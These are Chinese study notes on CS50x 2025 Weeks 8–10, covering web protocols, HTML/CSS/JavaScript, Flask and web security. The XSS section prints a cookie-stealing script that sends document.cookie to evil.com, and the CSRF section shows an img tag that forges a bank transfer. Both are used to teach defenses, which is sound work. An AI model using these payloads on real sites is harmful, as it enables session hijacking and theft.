← CS50

CS50x 2025 · 听课笔记
Week 8 & Week 9 & Week 10

棱镜2026.5.29  ·  日志

Week 8 到 Week 10 是 CS50 的「出海口」。前 7 周你从二进制挖到 C 语言,从指针挖到数据结构,从 Python 挖到 SQL——现在这些河道全部汇入一个方向:互联网。Week 8 覆盖前端三件套(HTML/CSS/JavaScript),Week 9 用 Flask 搭建全栈 Web 应用,Week 10 以网络安全和 AI 话题收尾。到最后一个学分修完时,你手上不再是零散的语法知识——你手上有了一条从晶体管到浏览器的完整认知链。

上一篇:Week 6 & 7

🔑 关键词索引

关键词一句话说明
⭐ HTTP 协议浏览器和服务器之间的通信语言。请求包括方法(GET/POST)、路径、头部;响应包括状态码(200/404/500)、头部、主体
TCP/IP互联网的底层传输协议。IP 负责「找到那台电脑」,TCP 负责「确保数据完整按序送到」
DNS域名系统——把 google.com 翻译成 IP 地址 142.250.80.46。互联网的全球电话簿
HTML网页的骨架——用标签描述内容结构。语义化标签(header/footer/section)让 HTML 不只是给浏览器看,也给搜索引擎和阅读器看
CSS 盒模型 + 定位每个元素是一个盒子(content→padding→border→margin)。position 控制盒子放在哪:static 正常流、relative 偏移、absolute 自由、fixed 钉屏幕
CSS 特异性多规则冲突时谁说了算——inline(1000)> id(100)> class(10)> tag(1)。Malan:「这是 CSS 最容易误解的地方」
⭐ DOM文档对象模型——浏览器把 HTML 解析成一棵树。JavaScript 通过这棵树动态修改页面:增删改查节点、改样式、读输入
JavaScript 核心语法语法接近 C(花括号、分号),但变量不用声明类型(let/const)、函数是一等公民、箭头函数是标配
事件(Event)用户的操作(click/input/submit)→ 触发 JS 函数。addEventListener 绑定监听器。event.target 找到触发源
⭐ AJAX / fetch不刷新整个页面就从服务器拿数据。fetch(url) → 返回 Promise → .then() 处理响应 → 局部更新 DOM。现代 Web App 的标配
⭐ FlaskPython 轻量 Web 框架。@app.route 定义路由,render_template 渲染页面,request.form 读 POST 数据,session 记用户
Jinja 模板Flask 的模板引擎——{{ }} 输出变量,{% %} 写循环和条件。模板继承({% extends %})消灭重复 HTML
GET vs POSTGET:参数在 URL 中(可收藏分享→适合搜索)。POST:参数在请求体(不会留在历史→适合登录/修改)
Session / CookieHTTP 无状态→需要记忆手段。Cookie 存浏览器(小纸条),Session 存服务器(通过 session_id 识别)。Flask 的 session 字典自动管理
⭐ MVC 模式Model(数据/SQL)→ View(模板/HTML)→ Controller(路由/Python)。分离不是洁癖——是你代码不被自己恨的底线
redirect / url_for / flash重定向跳转、动态生成 URL、一次性提示消息。Flask 的路由辅助三件套
JSON APIFlask 不仅可以返回 HTML,还可以返回 JSON 数据——jsonify()。前端 fetch JSON → JS 局部渲染。前后端分离的基础
⭐ 网络安全密码哈希(bcrypt)、HTTPS 加密传输、XSS 防御(转义用户输入)、CSRF 防御(token 验证)、SQL 注入防御(参数化查询)、环境变量存密钥
bcrypt / 哈希加盐密码不存明文。bcrypt 自动加盐——两个用户设了同样的密码,产生不同的哈希。故意很慢(防暴力破解)
环境变量API Key、secret_key、数据库密码——永远不写进代码。存 .env 文件 + gitignore。服务器从环境变量读取
AI 与编程AI 能写代码——但不能替你思考「为什么要写这段代码」。CS50 教的是后者。这是你不可替代的地方

Week 8 · HTML, CSS, JavaScript

这节课的核心隐喻:互联网本身

Malan 的开场不写代码。他画了一张图——你的电脑在左边,Google 的服务器在右边,中间是一根弯弯曲曲的线。「你在浏览器输入 google.com,按下回车。然后——到底发生了什么?」接下来 15 分钟,他把网络协议栈从 HTTP 讲到 TCP/IP 再到路由器讲到 DNS——不是为了让你背协议号,是为了让你在写 Web 应用时,脑子里有一张物理世界的全息图

8-1:互联网协议栈——在你输入 URL 到看到页面的短短 1 秒内

层次协议/技术干了什么比喻
应用层HTTP / HTTPS定义「我要什么」(GET /index.html)和「我拿到了什么」(200 OK + 内容)你写的信封内容
传输层TCP把数据切成包,编号,发出去。接收方确认收到了——丢包就重发。保证完整 + 按序挂号信——保证送到、保证不撕页
网络层IP在互联网中定位目标计算机(通过 IP 地址)。路由器根据 IP 地址逐跳转发信封上的地址——告诉邮局往哪送
链路层WiFi / 以太网 / 光纤物理信号传输——无线电波、电缆电信号、光脉冲邮递员的卡车——实际运输

DNS——把域名变成 IP 地址的电话簿

你输入 google.com,但互联网上每一台机器的门牌号都是 IP 地址(如 142.250.80.46)。DNS(Domain Name System)就是互联网的全球电话簿——你问它「google.com 在哪」,它回答一个 IP 地址。这个查询本身也是一个网络请求,一层层向上追(本地缓存→路由器缓存→ISP DNS→根 DNS 服务器→顶级域名服务器→权威 DNS),直到有人知道答案。

HTTP 请求和响应——浏览器和服务器的对话格式

客户端(浏览器)发送:
GET / HTTP/1.1
Host: www.example.com

服务端回应:
HTTP/1.1 200 OK
Content-Type: text/html

<!DOCTYPE html>
<html>...</html>
常见状态码含义你的代码什么时候会看到它
200 OK成功——页面正常返回一切正常时
301 Moved Permanently永久重定向——这个 URL 搬家了你改了路由,旧地址自动跳新地址
302 Found临时重定向——Flask 的 redirect() 默认用这个登录成功后跳转首页
404 Not Found你要的页面不存在用户输入了不存在的 URL
500 Internal Server Error服务器代码炸了你的 Python 路由函数里抛了异常。调试时看终端 traceback

8-2:HTML——网页的骨架

Malan 在 Chrome 浏览器里打开任意网页,按 F12 打开开发者工具——然后逐层展开 DOM 树。「你现在看到的这个页面——标题、段落、图片——它们的骨骼就是这些东西。」

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>我的第一个网页</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <header>
        <h1>欢迎!</h1>
        <nav><a href="/">首页</a> | <a href="/about">关于</a></nav>
    </header>
    <main>
        <section>
            <h2>文章标题</h2>
            <p>这是一个段落。</p>
            <img src="photo.jpg" alt="一张照片">
        </section>
    </main>
    <footer>
        <p>&copy; 2025 我的网站</p>
    </footer>
    <script src="app.js"></script>
</body>
</html>
标签分类标签干什么的
结构<html> <head> <body>最外层骨架——每页必须(虽然浏览器对缺失很宽容)
meta 信息<meta><title><link><script>字符编码、视口设置、标题、CSS/JS 引用——全在 head 里
语义化标签<header> <footer> <main> <nav> <section> <article>描述各部分「是什么」而不是「长什么样」。对搜索引擎、盲人阅读器友好。比满屏 <div> 强一百倍
内容<h1>~<h6><p><a><img>标题、段落、超链接、图片
列表<ul> <ol> <li>无序、有序、列表项
表格<table> <tr> <td> <th>表格/行/单元格/表头
表单<form> <input> <button> <select> <textarea>用户输入——Web 应用最核心的交互入口
无语义容器<div> <span>纯粹用来分组和挂 CSS——能用语义化标签就别用它们

8-3:CSS——网页的皮肤

Malan 的 CSS 教学用一个「万圣节换装」演示:同一个 HTML 文件,换一行 CSS 引用,页面从白底黑字变成暗黑模式、变成报纸排版、变成 1998 年的 GeoCities 风格。CSS 不是给 HTML 添加装饰——CSS 是把内容和表现彻底分开了。

/* 选择器 { 属性: 值; } */
body {
    background-color: #f0f0f0;
    font-family: Arial, sans-serif;
}
h1 {
    color: var(--text);
    text-align: center;
    font-size: 2rem;
}
/* class 选择器——用 . 开头,可重复使用 */
.button {
    background: #007bff;
    color: white;
    padding: 10px 20px;
    border-radius: 5px;
}
/* id 选择器——用 # 开头,页面中唯一 */
#main-header { border-bottom: 2px solid #ddd; }

CSS 盒模型——每个元素都是层层包裹的盒子

Malan 在开发者工具中展开一个 <div>,用「盒模型」面板展示:

┌──────── margin ──────────┐  最外层——和其他元素的距离
│  ┌──── border ───────┐   │  边框
│  │  ┌── padding ──┐   │   │  内边距——边框和内容之间的呼吸空间
│  │  │  content     │   │   │  内容——文字、图片、子元素
│  │  └──────────────┘   │   │
│  └──────────────────────┘   │
└──────────────────────────────┘

盒模型公式:实际宽度 = width + padding-left + padding-right + border-left + border-right。 box-sizing: border-box; 可以让 width 包含 padding 和 border——现代开发几乎必设。

CSS 定位——position 四种模式

行为什么时候用
static默认——按文档流正常排列。top/left 无效大多数元素
relative相对于自己在文档流中「本来的位置」偏移。不脱离文档流(原位置仍占据空间)微调位置、为 absolute 子元素创建定位参考
absolute脱离文档流。相对于最近的定位祖先(非 static 的父元素)定位。没有定位祖先时相对于 body弹窗、下拉菜单、悬浮提示
fixed脱离文档流。相对于浏览器窗口定位——滚动页面也不会动固定导航栏、返回顶部按钮

CSS 特异性——多条规则冲突时谁赢

Malan 把这个问题浓缩成一张「优先级计算表」——不是背公式,是理解一条规则:越具体的规则越优先。

/* 优先级:inline > id > class > tag */
<h1 id="title" class="heading">Hello</h1>

h1 { color: blue; }           /* 优先级 0-0-1 → 输 */
.heading { color: green; }    /* 优先级 0-1-0 → 输 */
#title { color: red; }        /* 优先级 1-0-0 → 赢!*/
/* 如果写了 style="color: purple" → inline 最高优先级 → 紫 */

/* !important 是核武器——覆盖一切(包括 inline) */
h1 { color: orange !important; }  /* 滥用它会让 CSS 变成惨剧——只在万不得已时用 */

8-4:JavaScript——网页的大脑

HTML 是骨架(结构)。CSS 是皮肤(外观)。JavaScript 是大脑(行为)。Malan 打开一个页面,按 F12 打开 Console,敲了一行:

document.querySelector('h1').textContent = '我被 JS 改了!'

页面上最大的标题瞬间变了。他说:「你在浏览器里按 F12,打开 Console——这就是你的 JS 沙盒。你可以现场修改任何网页。注意:只在你自己的浏览器里生效。刷新页面就没了。

变量、条件、循环——在浏览器里写「接近 C 的语法」

// 变量
let x = 5;                    // 可变
const PI = 3.14;             // 不可变——优先用 const
var oldWay = "不推荐";        // 老写法,作用域诡异,用 let 替代

// 条件
if (x > 3) { console.log("大"); }

// 循环
for (let i = 0; i < 5; i++) { console.log(i); }

// 函数——三种写法
function greet(name) { return "Hello, " + name; }           // 传统
const greet = function(name) { return "Hello, " + name; }    // 匿名
const greet = (name) => "Hello, " + name;                    // 箭头(现代标配)

// 数组和对象——JS 最常用的两种结构
let nums = [1, 2, 3];
nums.push(4);                          // [1,2,3,4] —— 像 Python list
nums.map(x => x * 2);                  // [2,4,6,8] —— 像 Python 列表推导

let person = { name: "Alice", age: 20 };
console.log(person.name);              // "Alice"
console.log(person["name"]);           // "Alice"(两种写法等价)

⭐ DOM 操作——JavaScript 最核心的浏览器能力

// 挑选元素
let heading = document.querySelector('h1');         // 选第一个匹配
let allParagraphs = document.querySelectorAll('p');  // 选全部匹配
let form = document.getElementById('my-form');       // 按 id 选(最快)

// 修改内容(注意两者的安全差异!)
heading.textContent = '新标题';                      // 纯文本——安全✅
heading.innerHTML = '<em>斜体标题</em>';           // HTML——有 XSS 风险⚠️

// 修改样式
heading.style.color = 'red';                         // 直接改
heading.classList.add('highlight');                   // 加 class(推荐:样式和逻辑分离)
heading.classList.toggle('dark-mode');                // 开关式——有就删,没有就加

// 创建新元素并插入页面
let newP = document.createElement('p');
newP.textContent = '我是新来的。';
document.body.appendChild(newP);

事件——让页面响应用户操作

// 点击按钮 → 触发函数
document.querySelector('button').addEventListener('click', function() {
    alert('你点了我!');
});

// 输入框内容变化 → 实时反馈
document.querySelector('input').addEventListener('input', function(event) {
    let typed = event.target.value;   // event.target = 触发事件的元素
    console.log('当前输入:' + typed);
});

// 表单提交 → 拦截默认行为
document.querySelector('form').addEventListener('submit', function(event) {
    event.preventDefault();           // 阻止表单刷新页面!
    // 用 fetch 发送数据...
});

// 页面加载完成 → 执行初始化
document.addEventListener('DOMContentLoaded', function() {
    console.log('页面加载完了,开始干活!');
});

⭐ AJAX / fetch——不刷新页面就从服务器拿数据

这是 Malan 在第 8 周引出「现代 Web 应用」的支点技术——传统的 Web 是「点链接→整个页面刷新」,AJAX 是「后台偷偷发请求→拿到数据→局部更新 DOM」。

// fetch——现代 JS 的 HTTP 请求方式
fetch('/api/movies')                          // 向服务器发 GET 请求
    .then(response => response.json())        // 把响应转成 JSON
    .then(movies => {                         // movies = [{title: "...", year: ...}, ...]
        let ul = document.querySelector('ul');
        ul.innerHTML = '';                    // 清空旧列表
        movies.forEach(movie => {
            let li = document.createElement('li');
            li.textContent = `${movie.title} (${movie.year})`;
            ul.appendChild(li);               // 逐条插入 DOM
        });
    })
    .catch(error => console.error('出错了:', error));  // 网络错误等

// 发送 POST 数据
fetch('/api/register', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ username: 'alice', password: 'secret' })
})
    .then(response => response.json())
    .then(data => console.log(data));

Malan 敲下这段代码后停下来,用一种「看,你已经不是在写网页了」的语气说:「这就是 Gmail 不需要刷新页面就能收新邮件的原因。这就是 Google Maps 拖动地图不闪烁的原因。浏览器在后台帮你发 HTTP 请求——你甚至感觉不到。」

8-5:Week 8 的 Problem Set——个人主页

用 HTML + CSS + 一点点 JavaScript 做一个个人主页。要求:至少三个页面、至少一个表单、至少一个交互(点击按钮后发生点什么)。Malan 特意提示:「这个作业和你未来的 Final Project 是同一类东西——静态页面加上动态交互。从今天起,你开始做一个完整的网站。

Week 9 · Flask

这节课的魔术时刻

Malan 在终端敲了 7 行代码:

from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
    return "<h1>hello, world</h1>"

if __name__ == "__main__":
    app.run()

然后打开浏览器,输入 localhost:5000——页面上出现了一个加粗的「hello, world」。他说:「这就叫 Web 服务器。 你已经有一个能接受 HTTP 请求并返回 HTML 的程序了。剩下的就是往里加东西。」

9-1:Flask 的 MVC 架构——Malan 拆解 Web 应用的三个部分

Malan 把 Flask 应用拆成三层——不是出于学术上的洁癖,是因为如果你把 HTML、Python、SQL 搅在一个文件里,两周后你自己都看不懂。

MVC 层Flask 中的对应干什么类比
Model(模型)SQL 数据库 + Python 查询函数数据的存储和读取——所有的 SELECT、INSERT 归这里管后厨的食材仓库
View(视图)templates/ 目录下的 .html 文件 + Jinja 模板语法数据如何展示——用户看到的东西全在这里。View 不知道数据从哪来摆盘和上菜
Controller(控制器)app.py 中的路由函数接收请求 → 调 Model 取数据 → 把数据传给 View → 返回给浏览器。Controller 不自己写 HTML厨师长——调度一切

Malan 的规则:「如果你在路由函数里写 HTML 字符串——停。 把 HTML 放进 templates 目录。如果你在模板文件里写 SQL 查询——停。 把查询放到 Model 层。分离不是形式主义——是你对自己代码的可维护性负责。」

9-2:路由——URL 怎么找到对应的 Python 函数

from flask import Flask, render_template, request, redirect, url_for
app = Flask(__name__)

@app.route("/")              # 根路径 → 首页
def index():
    return render_template("index.html")

@app.route("/user/<name>")   # /user/Alice → 动态路由!
def user(name):
    return f"<h1>你好,{name}!</h1>"

# methods 参数——同一个 URL 可以响应 GET 和 POST
@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        # 处理登录表单
        username = request.form.get("username")
        password = request.form.get("password")
        if not username or not password:
            return "用户名和密码不能为空", 400   # 400 = Bad Request
        # ... 验证逻辑 ...
        return redirect("/")        # 登录成功 → 跳转首页
    else:
        return render_template("login.html")  # GET → 显示登录页

redirect 和 url_for——路由的辅助二件套

# redirect——让浏览器跳转到另一个 URL
return redirect("/")                    # 硬编码路径
return redirect(url_for("index"))       # 用函数名生成 URL——改了路由也不怕

# url_for——动态生成 URL(改了路由路径也不需要改模板里的链接)
@app.route("/user/<int:id>")            # 动态路由,id 必须是整数
def user_profile(id):
    return f"用户 {id} 的主页"

# 在模板里:<a href="{{ url_for('user_profile', id=5) }}">用户 5</a>
# 渲染结果:<a href="/user/5">用户 5</a>

9-3:Jinja 模板——在 HTML 中写 Python 逻辑

Flask 使用 Jinja2 作为模板引擎。模板不是静态 HTML——你可以在里面嵌入变量、循环、条件,Flask 在服务端渲染完毕后,发送给浏览器的就是纯净的 HTML。

<!-- templates/index.html -->
<h1>欢迎,{{ username }}!</h1>          <!-- {{ }} = 输出变量(自动转义 HTML 实体) -->

<ul>
{% for item in shopping_list %}        <!-- {% %} = 控制语句 -->
    <li>{{ item }}</li>
{% endfor %}
</ul>

{% if logged_in %}
    <a href="/logout">退出</a>
{% else %}
    <a href="/login">登录</a>
{% endif %}

模板继承——消灭重复 HTML 的终极大招

建一个基础模板 layout.html,包含所有页面共有的 HTML 结构(导航栏、页脚、CSS 引用)。每个页面只写自己独特的内容

<!-- templates/layout.html -->
<html>
<body>
    <nav>导航栏——每个页面都有</nav>
    {% block content %}{% endblock %}   <!-- 留给子页面的「插槽」 -->
    <footer>页脚——每个页面都有</footer>
</body>
</html>

<!-- templates/index.html —— 只需要写自己的内容! -->
{% extends "layout.html" %}
{% block content %}
    <h1>这是首页独有的内容</h1>
{% endblock %}

Flash 消息——「操作成功」的一次性提示

Malan 介绍了一个 Flask 的小而美的特性——flash 消息。用户提交表单后跳转,在新页面上显示一条「操作成功!」——刷新页面就消失:

# 控制器中——设置 flash 消息
from flask import flash

@app.route("/register", methods=["POST"])
def register():
    # ... 注册逻辑 ...
    flash("注册成功!欢迎加入。")        # 设置一条消息
    return redirect(url_for("index"))    # 跳转到首页

# 模板中——显示 flash 消息(如果有的话)
{% with messages = get_flashed_messages() %}
    {% if messages %}
        <div class="flash">
            {% for msg in messages %}
                <p>{{ msg }}</p>
            {% endfor %}
        </div>
    {% endif %}
{% endwith %}

9-4:GET vs POST——什么时候用哪个

GETPOST
参数在哪URL 中(?q=cs50&page=2请求体中(不在 URL 里)
适合什么搜索、筛选、翻页——参数变化不改变服务器状态登录、注册、提交表单、修改/删除数据——任何改变服务器状态的操作
URL 中可见吗是——所以可以分享、收藏、复制链接否——密码和敏感数据不走 URL
安全性参数在浏览器历史、服务器日志中明文出现不在 URL 中——但数据本身不加密(那是 HTTPS 的工作)

黄金规则:如果请求会改变服务器上的数据——用 POST。不会改变——用 GET。 如果把「删除第 5 篇文章」的链接写成 /delete?id=5(GET),Google 爬虫顺着链接爬过去就把你文章删了。

9-5:Session 与 Cookie——让 HTTP 拥有记忆

HTTP 协议本身是无状态的——每个请求都是独立的,服务器不记得上一秒谁来过。但 Web 应用需要「登录状态」。解决方案——Cookie 和 Session:

# Flask 中的 Session——比手动管理 Cookie 简单得多
from flask import session

app.secret_key = "不要告诉我任何人"  # 用来加密 session 数据(实际上放环境变量!)

@app.route("/login", methods=["POST"])
def login():
    username = request.form.get("username")
    # 验证密码...
    session["user"] = username    # 记住用户!
    return redirect("/")

@app.route("/")
def index():
    if "user" in session:
        return f"欢迎回来,{session['user']}!"
    else:
        return "请先登录。"

@app.route("/logout")
def logout():
    session.clear()               # 忘记用户
    return redirect("/")
CookieSession
存在哪用户的浏览器服务器端(但通常通过一个 Cookie 里的 session_id 来识别用户)
能存多少很小(约 4KB)可以存很多(服务器内存/数据库)
安全性用户能看到和修改——不要存敏感数据用户看不到——但服务器被黑就全泄露
Flask 封装response.set_cookie()session["key"] = value(最简单)

9-6:Flask + SQL——从数据库里拿数据喂到网页上

Malan 把 Week 7 的 SQL 和 Week 9 的 Flask 焊在一起——这是他构想的「全栈」范式:

# app.py——Controller 层
import sqlite3
from flask import Flask, render_template

app = Flask(__name__)

@app.route("/movies")
def movies():
    # Model 层——从数据库取数据
    conn = sqlite3.connect("movies.db")
    cursor = conn.execute("SELECT title, year FROM movies ORDER BY year DESC LIMIT 10")
    movies = cursor.fetchall()  # 返回列表:[("电影A", 2023), ("电影B", 2023), ...]
    conn.close()

    # View 层——把数据传给模板
    return render_template("movies.html", movies=movies)
<!-- templates/movies.html —— View 层 -->
<ul>
{% for movie in movies %}
    <li>{{ movie[0] }} ({{ movie[1] }})</li>
{% endfor %}
</ul>

Malan 的流程图总结:浏览器输入 /movies → Flask 路由函数执行 SQL → 拿到数据 → 塞进 Jinja 模板 → 渲染成 HTML → 返回给浏览器。 这个循环是 Web 应用的心跳。

9-7:JSON API——Flask 不只返回 HTML

Malan 在第 9 周末尾引入了一个「现代 Web 开发」的核心理念——你的 Flask 不一定是「返回整页 HTML 的传统网站」。它也可以是一个只返回 JSON 数据的 API——前端用 fetch 拿数据,自己渲染 DOM:

from flask import jsonify

@app.route("/api/movies")
def api_movies():
    conn = sqlite3.connect("movies.db")
    cursor = conn.execute("SELECT title, year FROM movies ORDER BY year DESC")
    movies = [{"title": row[0], "year": row[1]} for row in cursor.fetchall()]
    conn.close()
    return jsonify(movies)    # 返回 JSON:[{"title": "...", "year": 2023}, ...]

# 前端用 fetch 请求这个 API:
# fetch('/api/movies')
#     .then(res => res.json())
#     .then(data => { /* 用 JS 动态渲染到 DOM */ })

错误处理——自定义 404 / 500 页面

@app.errorhandler(404)
def not_found(error):
    return render_template("404.html"), 404    # 注意返回状态码!

@app.errorhandler(500)
def server_error(error):
    return render_template("500.html"), 500

9-8:Week 9 的 Problem Set——CS50 Finance

这是 CS50 单体工作量最大的作业,也是 Final Project 之前的热身赛。你要搭一个完整的股票交易模拟网站

做完 Finance 的学生的经典评价:「我在 CS50 的最后三周里写的代码,比我前 7 周加起来都多。但我不害怕了——因为我知道每一行代码在干什么。HTML 画界面,CSS 调样式,JS 加交互,Python 处理逻辑,SQL 存取数据。这些不是孤立的工具——它们是一台机器上互相咬合的齿轮。」

Week 10 · 网络安全、AI 与告别

这节课的定位——最后的防御课

Malan 在最后一课的表情和第一课一样兴奋——但话题从「怎么写第一行代码」变成了「怎么防止别人毁掉你写的代码」。Week 10 不是新技术的教学——它是你前 9 周所有作品的安全审计。每一项安全技术都直接对应你在前 9 周写过的一个漏洞。

10-1:密码存储——永远不要存明文

回顾 Week 9 的 Finance 作业——你存了用户密码。Malan 问:「你存的时候,密码是什么形态?」如果你存的是原始密码("12345")——数据库一旦泄露,所有用户的密码直接暴露。而且大部分人在多个网站用同一个密码。

正确做法——哈希(Hashing)。哈希是一个单向函数:输入 → 乱码输出。你无法从乱码反推出原始密码。

# 错误——存明文
db.execute("INSERT INTO users (username, password) VALUES (?, ?)",
           username, password)  # password = "12345" ❌

# 正确——存哈希
from werkzeug.security import generate_password_hash, check_password_hash

# 注册时——存哈希值
hash = generate_password_hash(password)  # "12345" → "$2b$12$LJ3m4..."
db.execute("INSERT INTO users (username, hash) VALUES (?, ?)", username, hash)

# 登录时——比对哈希值,不需要知道原始密码
user = db.execute("SELECT hash FROM users WHERE username = ?", username)
if check_password_hash(user["hash"], password):
    session["user"] = username  # 密码正确 ✅
哈希特性解释
单向哈希 → 原文?不可能。就像你把鸡蛋炒了——不可能炒回生鸡蛋
确定性同一个输入永远产生同一个哈希——所以可以验证密码是否匹配
加盐(Salt)每个密码加上一个随机字符串再哈希。两个用户都设了 "12345" → 两个不同的哈希值。bcrypt 自动加盐
慢哈希bcrypt 故意很慢(约 0.3 秒/次)——对正常登录无感,但对暴力破解是灾难(每秒只能试 3 次而不是 30 亿次)

10-2:环境变量——不要把密码和密钥写进代码

Malan 在第 10 周特别强调了这条「不是安全技术,但和所有安全技术一样重要」的工程实践:

# ❌ 错误——密钥硬编码在源代码里
app.secret_key = "super-secret-key-123"
API_KEY = "sk-abc123xyz"
# 问题:一旦你把代码推到 GitHub——全世界都看到了你的密钥

# ✅ 正确——密钥从环境变量读取
import os
app.secret_key = os.environ.get("FLASK_SECRET_KEY")
API_KEY = os.environ.get("IEX_API_KEY")
# 部署时在服务器上设置环境变量,或者用 .env 文件(加入 .gitignore!)

Malan 的语气异常严肃:「我在 GitHub 上见过真实的 AWS 密钥被提交到公开仓库——几小时后,攻击者用它启动了 $50,000 的比特币矿机。密钥泄露不是'如果'的问题——是你第一次把代码推到 GitHub 时就会发生的事。.env 文件和 .gitignore 不是可选的——它们是代码的一部分。

10-3:HTTPS——数据在路上被偷看了怎么办

HTTP 是明文传输——你在星巴克的 WiFi 登录网站,隔壁桌的人用 Wireshark 能看到你的用户名和密码。HTTPS 用 TLS 加密——浏览器和服务器之间的所有数据被加密,中间任何人截获的都是乱码。

生产环境中通过反向代理(Nginx/Caddy)处理 HTTPS 证书——Flask 不需要改一行代码。但 Malan 强调:在部署你的第一个真实项目时,确保 URL 是 https:// 开头。

10-4:XSS(跨站脚本攻击)——别人的代码在你的网页上跑

这是 Malan 在 CS50 里的最后一个安全演示。他写了一个简单的留言板——用户输入留言,其他用户能看到。攻击者在留言里输入:

<script>alert('你被黑了!')</script>

如果后端不做任何处理——每个打开这个页面的用户的浏览器都会执行这段 JS。 更恶劣的攻击:<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>——把你的 Cookie(含 session_id)发到攻击者的服务器。

防御:

10-5:CSRF(跨站请求伪造)——别人的网站用你的身份发请求

场景:你登录了银行网站,Session Cookie 在你浏览器里。然后你打开了攻击者发来的一封邮件,邮件里有一张「不可见的图片」:

<img src="https://bank.com/transfer?to=attacker&amount=10000">

你的浏览器看到了这行 HTML,自动向 bank.com 发了一个 GET 请求——并自动带上了你的 Session Cookie。 银行服务器看到有效的 Session → 认为是你本人在操作 → 转走了你的钱。

防御:

10-6:AI 与编程的未来

Malan 在最后 20 分钟转向了一个更大的话题——CS50 2025 版新增了 AI 相关内容。「你们可能已经用 ChatGPT 或 Copilot 写了部分作业。我收到的学生邮件里有三分之一是 AI 帮忙起草的。——这 OK。但我要你们记住一件事:」

「AI 能写出你要的代码。但 AI 不知道你为什么要这段代码。 CS50 教你的不是'如何让 AI 替你写代码'——那是终端里一行 prompt 的事。CS50 教你的是:当 AI 写出了 bug 时,你能看懂 bug 在哪。当 AI 建议了一个 O(n²) 的算法时,你能说'等一下,用归并排序'。当老板问你'这个功能为什么花了三周'——你能解释清楚每一层技术决策。

Malan 的 CS50 2025 结语:

「十年前,我站在这间教室告诉学生——CS50 不是教你 C 语言,不是教你 Python,不是教你 SQL。CS50 是教你如何解决问题。 十年后,工具变了。现在的工具能写代码。明年的工具也许能写整个应用。但那条核心原则没有变——计算机科学是关于解决问题的,而不是关于记忆语法的。 而解决问题——是人类独有的能力。至少目前为止。」

10-7:Final Project——你手上最后一张白纸

CS50 的期末项目只有一个要求:做一个你想做的东西。 任何东西。一个网站、一个手机 App、一个游戏、一个数据分析工具。唯一的技术约束——它必须是你在 CS50 学到的东西的基础上做的。除此之外,没有要求。

Malan 在最后一页 PPT 上展示了往届学生的作品——从校园二手书交易平台到自动生成俳句的 AI,从模拟气候变化的数据可视化到帮奶奶管理菜谱的 App。他说:「这些作品的共同点不是'用了什么技术'——是作者真的在乎这个东西。 做一个你会在周末打开、打磨、炫耀给朋友看的东西。Final Project 是你从 CS50 带走的名片。让它配得上你。」

CS50 完整课程路线图——10 周的认知上升螺旋

主题底层能力标志性作业
Week 0Scratch计算思维——拆解问题、顺序/选择/循环原创 Scratch 作品
Week 1C 语法入门从图形积木到文本代码的跃迁马里奥金字塔
Week 2数组 + 字符串批量数据处理、编译全流程凯撒加密
Week 3算法 + 大 O搜索、排序、复杂度——「怎么想」的框架各种排序算法对比
Week 4指针 + 内存理解计算机底层的物理模型JPEG 照片恢复(数字取证)
Week 5数据结构用指针和 malloc 搭积木拼写检查器(三版本竞速)
Week 6Python卸掉 C 的包袱——同一套思维换语言图像滤镜(5 种)
Week 7SQL从「怎么取」到「要什么」的范式转换IMDb 百万行电影查询
Week 8HTML/CSS/JS前端三件套——互联网的「用户界面层」个人主页
Week 9Flask全栈 Web——所有前期技能焊成一台机器股票交易模拟(CS50 Finance)
Week 10安全 + AI + 告别你写的代码如何被攻击、如何防御——以及 AI 时代你的不可替代性Final Project

🎓 CS50 全课程学完后的能力清单


← 上一篇:Week 6 & 7